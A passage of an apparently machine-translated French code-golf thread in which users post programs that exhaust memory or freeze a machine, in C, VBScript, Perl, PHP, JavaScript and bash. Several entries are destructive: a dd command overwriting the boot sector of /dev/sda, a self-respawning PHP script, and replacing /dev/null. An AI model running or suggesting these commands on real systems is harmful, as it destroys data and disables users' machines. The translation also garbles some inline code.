}

p pi_approx.(100_000)

Bien sûr, le (1..infinity) fonctionnera comme un fou.

Notez cependant que l'utilisation de paresseux ferait l'affaire;)

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).lazy.map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)
#=> 3.141583104326456

5

C - 28 25 caractères (programme complet)

N'exécutez pas celui-ci, ou votre système sera rapidement gelé!

main(){while(malloc(9));}

L'appel à malloc réservera 9 octets de mémoire et demandera régulièrement de nouvelles pages de mémoire au système d'exploitation. La mémoire allouée par malloc est immédiatement perdue car aucun pointeur sur l'adresse renvoyée n'est stocké. Une fois que le système est à court de mémoire (RAM et espace d'échange) ou que la limite de mémoire du processus est atteinte, le programme sort de la boucle while et se termine.


2
Pas pour longtemps - tout système raisonnablement moderne devrait avoir un tueur OOM qui tue le processus. Au moins Ubuntu 12.04 le fait.
Trauma numérique

1
Eh bien, j'ai écrasé mon Ubuntu 13.10 en essayant ce code ...
Mathieu Rodic

@ DigitalTrauma Par exemple, FreeBSD a-t-il un OOMK?
Ruslan

1
main(){while(malloc(9));}enregistre 3 autres caractères et remplit ma mémoire à peu près instantanément.
mardi

@gmatht: merci pour la suggestion! J'ai édité la réponse ... bien que j'aimais l'idée d'augmenter la taille du bloc à chaque boucle.
Mathieu Rodic

4

VBScript

do
    Set d1 = createobject("Scripting.Dictionary")
    d1.add true, d1
    Set d1 = Nothing
loop

Nous créons un dictionnaire qui pointe vers lui-même. Ensuite, nous pensons que nous détruisons le dictionnaire en le réglant sur Nothing. Cependant, le dictionnaire existe toujours en mémoire car il a une référence valide (circulaire).

La boucle, mais aussi la mémoire, provoque le blocage du programme. Après l’arrêt du programme, la mémoire est toujours utilisée. Le système ne peut être restauré qu'en le redémarrant.


Vraiment? VBScript n'utilise-t-il pas simplement VB.NET? Les références circulaires ne sont normalement pas un problème pour les éboueurs, à l'exception des implémentations simples de comptage de références, et la fin du programme devrait entraîner la libération de tout son tas, non?
David Conrad

@ DavidConrad On pourrait le penser, mais je devais redémarrer ma machine chaque fois que j'examinais cela et exécutais ce type de scripts.
AutomatedChaos

1
VBScript devance considérablement VB.Net - ce n'est pas une version en ligne de commande de VB.Net; c'est un sous-ensemble interprété de Visual Basic hérité.
Chris J

Merci à vous deux. Je ne savais pas quelle était la relation entre VBScript et VB.NET.
David Conrad

4

Oui & tmpfs

Pourquoi écrire un nouveau programme quand on vient gratuitement avec Ubuntu?

yes > /run/user/$UID/large_file_on_my_ramdisk

Comme vous le savez probablement, ou l’avez déjà deviné, Ubuntu monte / exécute / utilisateur / par défaut en tant que tmpfs, qui est un type de disque RAM .

Vous n'êtes même pas obligé de le fermer. Il va se fermer poliment, laissant une belle quantité de mémoire allouée. Je suppose qu’il yess’agit d’un programme à un seul thread, à un seul processus, qui n’appelle aucun autre (écrire sur un disque RAM existant est également facilement transférable dans la langue de votre choix).

Il y a un bogue mineur: Ubuntu limite les tmpfs / run / 1000/100 / en écriture inscriptibles par l'utilisateur, de sorte que la fonctionnalité de permutation d'échange peut ne pas être prise en charge immédiatement sur votre machine. Cependant, j'ai réussi à résoudre ce problème sur ma machine avec la solution de contournement rapide suivante:

sudo mount -o remount,size=10G tmpfs /run/user/

Je n'ai pas de /run/userrépertoire du tout. Quelle version d'Ubuntu utilisez-vous et qu'avez-vous installé pour cela?
Ruslan

Ubuntu Trusty Tahr (14.04). Aucune installation spéciale requise.
Marmatht

Pour savoir si des tmpfssystèmes de fichiers sont montés, vous pouvez les lister avec df -t tmpfs. Mon système Ubuntu a une très bonne /run/shm...
Toby Speight

4

Frapper

Avertissement: le code suivant rendra votre ordinateur non amorçable.

printf "\\xe8\\xfd\\xff" | dd of=/dev/sda
reboot

Avertissement: Le code précédent rendra votre ordinateur non amorçable.

Remplacez / dev / sda par votre lecteur de démarrage. Cela écrit E8 FD FF au début de votre secteur de démarrage. Lors du démarrage, le BIOS lit votre secteur de démarrage en mémoire et l'exécute. Ces opcodes sont équivalents à cet assemblage:

label:
  call label

C'est une récursion infinie, qui finira par provoquer un débordement de pile.


Dans votre exemple d'assemblage, vous pouvez enregistrer un caractère (en supposant que le nom "label" est nécessaire) en utilisant jmpplutôt quecall
SirPython le

call laisse l'adresse de retour sur la pile pour ret. sauter ne causerait pas un débordement de pile.
Jerry Jeremiah

3

Haskell

main=print $ sum [0..]

Cela tente d’additionner les nombres de comptage. Haskell évalue les sommes partielles, cela devient simplement une déclaration d'addition infinie. Si vous exécutez le compilateur avec des indicateurs d'optimisation, il se peut que cela ne fonctionne pas.


3

Frapper

Étant donné que nous pouvons utiliser les services publics qui ne sont pas spécifiquement conçus pour consommer de la mémoire, je me concentre sur un utilitaire de mémoire libre: swapon. Ceci est utilisé pour permettre au noyau de libérer de la mémoire en écrivant sur le disque.

Ce script effectue deux optimisations: (1) Monter tmp en tant que tmpfs (un type de disque RAM) pour rendre / tmp plus rapide et (2) créer un fichier d'échange pour libérer de la mémoire. Chacune de ces options est raisonnable en soi, mais si un utilisateur négligent fait les deux, il crée un cycle de permutation: lorsque le système d'exploitation tente de permuter des pages, il écrit dans le fichier tmpfs; cela oblige les tmpfs à utiliser plus de mémoire; cela augmente la pression de la mémoire, ce qui provoque le remplacement de plus de pages. Cela peut prendre quelques minutes sur ma machine virtuelle, ce qui vous laisse tout le temps de regarder le système s'enfoncer dans un trou top.

La fermeture du programme fait peu de différence puisque le programme lui-même n’alloue pratiquement aucune mémoire. En effet, libérer de la mémoire n’est pas une mince swapoffaffaire puisque vous ne pouvez pas libérer de la mémoire en démontant les fichiers tmpfs avant le fichier d'échange, ce qui est difficile à réaliser tant que vous n'avez pas libéré de la mémoire.

Cette réponse pourrait être considérée comme une mise en garde contre l’application aveuglante de trucs cool du net sans les comprendre.

sudo mount -t tmpfs -o size=9999G tmpfs /tmp # Use tmpfs to make /tmp faster
truncate -s 4096G /tmp/swap                  # Now make a giant swap file to free up memory 
sudo losetup /dev/loop4 /tmp/swap            # Use a loopback so we can mount the sparse file
sudo mkswap /dev/loop4
sudo swapon /dev/loop4
#The following line would cause a quick swap death, but isn't needed.
#dd if=/dev/zero of=/tmp/zero bs=1          # Zero the tmp dir so the VM can free more memory

2

Perl

sub _ {
  my($f,$b);
  $f=\$b;$b=\$f;
}
while(1) { _;}

Utilise des références circulaires. Le nombre de références pour les variables n'atteindra jamais 0 et les références ne seront jamais effacées.

Vous devrez peut-être être patient, mais il est garanti que votre système s'étouffera. Le disque commencerait à tourner plus vite et des émanations pourraient être visibles.


2

PHP (Linux uniquement):

Ce code n'a pas été testé car je n'ai pas d'ordinateur sous Linux avec php en cours d'exécution.

Mais ceci est ma preuve de concept:

ignore_user_abort(true);
ini_set('memory_limit',-1);
ini_set('max_execution_time',0);
/*
    sets php to ignore if the script was canceled in the browser
    (like clicking cancel or closing the browser)
    and takes away the memory limit,
    as well as the maximum execution time.
*/

function dont_let_it_stop(){shell_exec('php '.__FILE__.' &');}
//this function calls the file itself.

register_shutdown_function('dont_let_it_stop');
//this function will register the function declared above to be used when the script is being terminated

function get_info($f='current')
{
    return str_replace(' kB','',end(explode(':',trim($f(explode(PHP_EOL,file_get_contents('/proc/meminfo')))))))*1024
}
/*
    this function fetches the infos
    'current' fetches the max memory
    'next' fetches the actual used memory
*/

$max=get_info();//maximum memory
$current=get_info('next');//current memory

$imgs=array(imagecreatetruecolor(1e4,1e4));
$color=imagecolorallocatealpha($imgs[$i=0],128,128,128,126);
imagefill($imgs[$i],0,0,$color);
/*
    this creates an array and inserts one image (10000x10000 pixels),
    filling it then with a solid transparent color
*/

$total-=get_info('next');//calculates the space an image takes

while($max-get_info('next')>$total*2)//while the free memory is higher than the memory of 2 images, fill the array
{
    $imgs[$i++]=imagecreatetruecolor(1e4,1e4);
    $color=imagecolorallocatealpha($imgs[$i-1],128,128,128,126);
    imagefill($imgs[$i-1],0,0,$color);
}

//this is just to keep the images in memory, so the script doesn't end
while(1)sleep(60);

Cela remplira la mémoire avec d’énormes images RGBA (10000x10000 pixels).

La seule façon d'arrêter ce bébé est de couper le courant.

Le code est tout commenté.

Toute amélioration, doute, bug ou autre, utilisez la boîte de commentaire ci-dessous.


Est-ce que quelqu'un ayant accès à Linux pourrait le tester? Merci :)
George

J'ai Linux, je ne suis pas sûr de savoir comment cela va fonctionner. J'ai fourni l'écran d'impression pour la première réponse, mais il s'agit d'une version très ancienne de puppy linux. Ubuntu est trop lent pour exécuter php. Peut-être que je teste sur mon Android plus tard.
Ismael Miguel

1
il échoue le point de ne pas appeler un autre programme
Einacio

Il n'appelle pas un autre programme: il appelle le même programme qui a démarré le fichier pour le même fichier.
Ismael Miguel

2

Python - 56

class x:
 def __setattr__(self,*args):self.y=0
x().y=0

Crée une classe, définit une méthode pour définir des attributs, y définit un attribut et crée une instance initiale à laquelle il tente ensuite de définir un attribut.

Une simple fonction récursive ( def f(x):f(x)) semblait un peu peu imaginative, alors j'ai décidé de ne jamais appeler une fonction.

La gestion de la mémoire peut capturer la profondeur de récursivité, mais cela dépend vraiment de la mise en œuvre.

S'il s'agit d'une bombe à fourche, merci de me le dire.


4
Cela provoque pas d' épuisement de la mémoire, à: RuntimeError: maximum recursion depth exceeded while calling a Python object. Même si vous définissez la limite de récursivité maximale avec sys.setrecursionlimitpresque pas de mémoire, celle-ci est utilisée avant le blocage d’une erreur de segmentation.
Bakuriu

@Bakuriu Comme je l'ai dit, cela dépend vraiment de l'implémentation (il existe des implémentations de Python qui convertissent en C (++) et compilent, par exemple Shedskin, Nuitka).
cjfaure

2
Indiquez ensuite pour quelle (s) mise (s) particulière (s) vous écrivez le code. Il existe une différence entre les défis pour lesquels seule la syntaxe est importante et donc la mise en œuvre non pertinente, et les défis qui dépendent complètement de la manière dont le langage est implémenté.
Bakuriu

2

Perl

C'est simple, mais j'avais envie de jouer au golf.

{$x=[$x];redo}

Après deux itérations, $xcontient une référence à un tableau contenant une référence à un tableau contenant undef.

L'utilisation de la mémoire est linéaire dans le temps, avec de petites allocations, mais il n'a fallu que quelques secondes pour ralentir considérablement le gestionnaire de fenêtres sur mon système Ubuntu Linux. Une demi-minute plus tard, le tueur de MOO s'en est occupé.


2

ECMAScript 6:

z=z=>{while(1)z()};_=i=>(i+=1,i-=1,i++,i--,--i,++i,i<<=2,i>>=2,i+=0|Math.round(1+Math.random())&1|0,z(x=>setInterval(x=>z(x=>new Worker('data:text/javascript,'+_.toSource()),5))));setInterval(x=>z(x=>_(...Array(9e3).map((x,z)=>z*3/2*2/4*4e2>>2<<2))),5)

Ungolfed:

function forever(code) {
    // Loop forever
    var counter = 0;

    while (counter++ < 10) setInterval(code, 5);
};

function main(counter) {
    // Do some work.
    counter += 1; counter -= 1;

    counter++; counter--;
    --counter; ++counter;

    counter <<= 2;
    counter >>= 2;

    counter += 0 | Math.round(1 + Math.random()) & 1 | 0;

    forever(() => {
        setInterval(() => {
            forever(() => new Worker('data:text/javascript,' + main.toString()));
        }, 5);
    });
};

setInterval(() => {
    forever(() => {
        main(...Array(9e3).map((currentValue, index) => index * 3 / 2 * 2 / 4 * 4e2 >> 2 << 2));
    });
}, 5);

Remarque: Il utilise setTimeout, qui est défini dans le cadre de Timers - le HTML Living Standard .

Essayez-le sur Mozilla Firefox (vous pouvez le coller dans la console du développeur). Firefox continue de consommer de plus en plus de mémoire et utilise 100%le processeur sur une machine monocœur (sur une machine à 4 cœurs, comme la mienne, elle utilise 25%le processeur). Il a également l'avantage supplémentaire que vous ne pouvez pas l'arrêter; si vous pouvez ouvrir le gestionnaire de tâches, vous pouvez tuer Firefox avec celui-ci.


1
Il utilise 100% d'un noyau. Sur votre processeur quadcore, cela représente 25% de l'utilisation du processeur.
Iván Pérez

@Electrosa Oui, vous avez absolument raison. J'ai mis à jour ma réponse.
Brosse à dents

Ce n'est pas une question de code de golf, essayez de rendre votre code lisible.
Paŭlo Ebermann

@ PaŭloEbermann OK. J'ai posté une version non-golfée.
Brosse à dents

1

Frapper

Créer un fichier vide test
Remplacer /dev/null/par ce fichier texte

$ sudo mv test /dev/null

Cela fonctionne de manière similaire à la réponse de @ Comintern. Toute la sortie à /dev/nullsera maintenant ajoutée à ce fichier texte, qui au fil du temps deviendra énorme et fera planter le système.


1
Un gros fichier ne planterait pas le système. Et en supposant une taille de disque moyenne de 500 Go, il faudrait beaucoup de temps pour que le fichier soit même sur le point de remplir le disque.
w4etwetewtwet

1
Sur les systèmes où /devest un devtmpfs, cela peut remplir et entraver le système. Je suppose que c'est le but de cette réponse.
Toby Speight le

1

Bash: 7 caractères

Cela devrait être la solution la plus simple. Pas de fourches, pas de triche.

x=`yes`

Il est conseillé de ne pas l'exécuter en tant que root.


Remarque supplémentaire: même si vous terminez cela avec ctrl-c à mi-chemin, puis unsetla variable, la mémoire reste allouée jusqu'à ce que le shell soit tué. Vous pouvez regarder le carnage top.
Riot

Mes propres tests avec bash 4.2.45 (1) montrent que unset xcela libère de la mémoire. pdksh libère également la mémoire, mais ksh93 ne parvient pas à la libérer et, exitdans ksh93, dumps core.
kernigh

Pour moi (bash 4.3.11 (1)), l’affichage de la mémoire résident en haut du shell parent monte régulièrement jusqu’à ce que le shell yessoit tué, point auquel il reste simplement là, unsetsans effet. Mais il s’agit d’un gros système de mémoire et le fait de disposer d’une variable de plusieurs gigaoctets ne semble pas le gêner (jusqu’à ce qu’il décide enfin de tuer le shell).
Riot

0

C

main()
{
    void * buffer;
    while (1)
        buffer = malloc(4096);
}

Eh bien, cela prend de mémoire en page et, finalement, il ne reste plus de mémoire.


À quel point une page est-elle universelle avec 4 Ko?
Peter Mortensen

@ Peter 4K est souvent de taille, mais je ne peux pas dire si c'est vraiment universel, mais la taille de la page n'a pas de relation avec la question donnée.
ST3

1
@ ST3: Vous devriez salir la page mémoire. La plupart des systèmes d'exploitation modernes utilisent la mémoire virtuelle et créent simplement un enregistrement dans la table de mémoire virtuelle lorsque vous allouez de la mémoire. L'écriture d'un seul octet sur la page de mémoire obligera déjà le système d'exploitation à mapper la page de mémoire virtuelle sur la mémoire physique.
Foobar


0

Rubis

a=[];loop{a<<a}

Il ajoute simplement (récursif!) Des références à soi-même.

J'ai découvert ce petit bijou quand quelqu'un a cassé mon bac à sable Ruby avec . :RÉ

Démo des aspects récursifs de celle-ci:

[1] pry(main)> a=[]; a<<a; a
=> [[...]]
[2] pry(main)> 

0

C ++ 79

void f(char *p,int i){p=new char[i];f(p,++i);}
int main(){char c='a';f(&c,1);}

Non-golfé

void leak(char *p,int i)
{
    p=new char[i];
    leak(p,++i);
}

int main()
{
    char c='a';
    f(&c,1);
}

J'ai corrigé mon entrée pour inclure l'appel du principal.


C'est un concours de popularité. Si le programme fonctionne, gardez-le en-tête et principal. c'est bien. Aussi, pourriez-vous poster une version non golfée? Merci :)
George
En utilisant notre site, vous reconnaissez avoir lu et compris notre politique liée aux cookies et notre politique de confidentialité.
Licensed under cc by-sa 3.0 with attribution required.